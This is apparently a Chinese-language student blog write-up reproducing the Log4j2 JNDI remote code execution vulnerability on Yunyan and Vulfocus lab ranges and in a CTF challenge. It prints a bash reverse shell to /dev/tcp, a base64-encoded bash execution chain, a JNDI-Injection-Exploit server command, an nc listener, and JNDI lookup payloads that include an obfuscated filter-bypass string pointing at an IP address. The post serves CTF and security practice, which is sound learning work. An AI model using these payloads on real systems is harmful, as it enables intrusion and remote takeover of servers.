Log4j2漏洞复现
Log4j2漏洞复现
”长安战疫“赛里用到了Log4j2漏洞,按照学长的建议,用靶场复现一下log4j2漏洞
云演靶场
dnslog回显
四叶草云演的环境不错
参考学长写的文章复现
记得payload要url编码,在校园网里头DNSlog回显很有可能只显示一条(无论打多少下,结果依然显示一条)
血的教训,搭进去至少一个小时
反弹shell
照抄云演的材料就行
bash -i >&/dev/tcp/公网地址/公网可访问的端口 0>&1
bash -c {echo,反弹shell的base64编码内容}|{base64,-d}|{bash,-i}
//在服务器上部署JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,base64编码内容}|{base64,-d}|{bash,-i}" -A VPS地址
做到这一步才明白JNDI-Injection-Exploit是装在服务器上的,当时本地端还鼓弄了老半天,java8是运行不了JNDI-Injection的,换了kali默认的java11才跑起来
给服务器Centos安装nc
yum install nc
准备完毕后执行反弹shell
nc -lvnp 9000
收获flag
Vulfocus
不装docker的话,可以去http://vulfocus.fofa.so 上面做(需要注册账号)。每个环境只有15分钟,还是自建docker比较舒服。
2022.1.14做的复现,发现vulfocus不讲伍德,在2021.12.30把镜像给替换了,云演上那个才是vulfocus最早的镜像,所以1.14在网上找的文章全部木大。当时进展不太顺利,先把云演的复现了才开始做这个。
使用vulfocus的环境
docker pull vulfocus/log4j2-rce-2021-12-09
校园网真的不得人心,起早贪黑起来拉取镜像(7点西安天都没亮)
pull完以后,建立container
docker run -d -p 4080:8080 vulfocus/log4j2-rce-2021-12-09
4080是主机端口,8080是容器内部端口
访问以后是这样一个场景
payload位置再明显不过了,往里面填就有dnslog回显(记得一定要URL编码,不编码直接跳400)
payload=${jndi:ldap://9anm9w.dnslog.cn/}
跳400实况
下一步参考前一章云演的操作即可
注意要选那个带有spring的payload,跟本文前面说的云演不一样
打的时候发现nc掉线了,死活收不到shell(腾讯云的机制在搞鬼?)
SSH重连才把问题解决
shiro?
”长安战疫“CTF的题目,当时没时间做,赛后发现是log4jrce就来兴趣了
改造一下payload,其他payload会过不去,官方题解用woodpecker生成payload,但是woodpecker说明太久没更新,自己电脑没装maven编译麻烦,但好在github找到了一个payload生成:
https://github.com/yesspider-hacker/log4j-payload-generator
这个payload打出了dnslog
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://42.193.125.202:1099/sdf7pq}
注意要选那个带有spring的payload,其他payload打不出来!(试了一段时间才反应过来)
总结
这中间发生了不少坎坷,看到最后实现成功还是很高兴的。反弹shell可是web题的特色,不可不尝啊[/狗头]
大佬们的研究已经在路上了